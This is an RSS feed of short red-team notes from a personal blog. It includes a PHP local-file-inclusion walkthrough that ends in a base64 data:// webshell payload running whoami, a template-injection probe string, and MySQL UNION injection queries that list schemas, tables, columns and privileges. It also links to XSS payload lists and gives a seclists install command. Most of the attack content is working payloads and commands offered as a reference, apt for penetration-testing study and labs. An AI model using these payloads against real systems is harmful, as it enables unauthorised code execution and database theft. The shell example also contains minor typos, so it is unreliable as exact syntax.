<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Red-Team on slightlymore</title><link>https://slightlymore.co.uk/tags/red-team/</link><description>Recent content in Red-Team on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Wed, 29 Apr 2026 21:26:20 +0100</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/red-team/index.xml" rel="self" type="application/rss+xml"/><item><title>Using PHP filters in local file inclusion</title><link>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</guid><description>&lt;p&gt;Imagine a PHP file where you can perform LFI such as&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With a badly configured server and app you can use PHP read filters to get the full content&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get a webshell or RCE if &lt;code&gt;allow_url_include&lt;/code&gt; is enabled&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl http://example.com?vuln.php?lang=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==%3D%3D&amp;amp;cmd=whoami
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The shell is &lt;code&gt;&amp;lt;?php system($_GET['cmd'];&lt;/code&gt;&lt;/p&gt;</description></item><item><title>A string to test for template injection vulnerabilities</title><link>https://slightlymore.co.uk/a-string-to-test-for-template-injection-vulnerabilities/</link><pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/a-string-to-test-for-template-injection-vulnerabilities/</guid><description>&lt;p&gt;The following string can be used to test a large number of templating engines in one go:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ { { &amp;lt; % [ % &amp;#39; &amp;#34; } } % \ .
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
Remove the spaces between each character! I&amp;rsquo;ve included them here because it messes up rendering in some places!&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>Enumerating databases, tables, columns, and user privileges with SQL injection</title><link>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</guid><description>&lt;p&gt;Using a UNION injection we can find out about a (MySQL/MariaDB) structure.&lt;/p&gt;
&lt;p&gt;Here are some minimal examples. Remember to &lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;determine the correct number of columns 🌿&lt;/a&gt;
 and match that. Also clearly remember to add &lt;code&gt;WHERE&lt;/code&gt; clauses to these to narrow down the search.&lt;/p&gt;
&lt;h2 id="databases"&gt;Databases&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SCHEMA_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SCHEMATA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="tables"&gt;Tables&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;TABLE_SCHEMA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="columns"&gt;Columns&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLUMNS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="privileges"&gt;Privileges&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GRANTEE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PRIVILEGE_TYPE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;USER_PRIVILEGES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;How to determine the number of columns for &lt;code&gt;union&lt;/code&gt; SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>How to determine the number of columns for `union` SQL injection</title><link>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</guid><description>&lt;p&gt;A union injection causes additional rows to be added to the result set by using the &lt;code&gt;UNION&lt;/code&gt; clause. To do this, we need to know the number of columns in the target result set.&lt;/p&gt;
&lt;p&gt;There are two easy strategies for this. Using &lt;code&gt;order by&lt;/code&gt; or &lt;code&gt;union&lt;/code&gt;. Assume that the following is vulnerable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$oops&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="order-by"&gt;&lt;code&gt;order by&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In MySQL you can use numeric arguments for order by which you can use to infer the number of columns. Let &lt;code&gt;$oops = &amp;quot;test' order by 1 -- &lt;/code&gt; then the query becomes:&lt;/p&gt;</description></item><item><title>XSS Payloads</title><link>https://slightlymore.co.uk/xss-payloads/</link><pubDate>Tue, 30 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/xss-payloads/</guid><description>&lt;p&gt;Here are some resources containing XSS payloads:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md" target="_blank" rel="noopener"&gt;PayloadsAllTheThings ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/payloadbox/xss-payload-list" target="_blank" rel="noopener"&gt;payloadbox ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://findxss.com/" target="_blank" rel="noopener"&gt;findxss ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Installing seclists on Kali</title><link>https://slightlymore.co.uk/installing-seclists-on-kali/</link><pubDate>Wed, 10 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/installing-seclists-on-kali/</guid><description>&lt;p&gt;The seclists from &lt;a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener"&gt;https://github.com/danielmiessler/SecLists ↗️&lt;/a&gt;
 can be installed on Kali using apt&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install seclists
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;They&amp;rsquo;re installed into &lt;code&gt;/usr/share/seclists/&lt;/code&gt;&lt;/p&gt;</description></item></channel></rss>